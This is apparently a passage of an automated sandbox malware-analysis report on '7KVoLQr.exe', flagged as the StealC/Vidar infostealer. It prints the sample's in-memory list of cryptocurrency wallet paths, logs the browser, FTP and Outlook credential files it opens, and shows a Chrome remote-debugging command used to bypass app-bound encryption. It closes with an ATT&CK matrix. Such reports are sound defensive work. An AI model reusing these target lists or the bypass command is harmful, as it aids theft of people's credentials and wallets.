Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.00000000003D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: 7KVoLQr.exe, 00000000.00000002.1511728028.000000000B720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 7KVoLQr.exe, 00000000.00000002.1511728028.000000000B720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.00000000003D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.00000000003D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: 7KVoLQr.exe, 00000000.00000002.1511728028.000000000B720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.00000000003D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: 7KVoLQr.exe, 00000000.00000002.1511728028.000000000B720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.jsoncu
Source: 7KVoLQr.exe, 00000000.00000002.1506156145.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore*
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.00000000003D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: 7KVoLQr.exe, 00000000.00000002.1506156145.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.00000000003D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: 7KVoLQr.exe, 00000000.00000002.1506156145.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore*
Source: 7KVoLQr.exe, 00000000.00000002.1511728028.000000000B720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.00000000003D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.00000000003D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.00000000003D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: 7KVoLQr.exe, 00000000.00000002.1506156145.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore*
Source: 7KVoLQr.exe, 00000000.00000002.1511728028.000000000B720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\7KVoLQr.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\7KVoLQr.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\7KVoLQr.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: 7KVoLQr.exe PID: 6972, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\7KVoLQr.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1505216195.0000000000321000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.991824483.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1506156145.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7KVoLQr.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 7KVoLQr.exe PID: 6972, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	2 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 7KVoLQr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
7KVoLQr.exe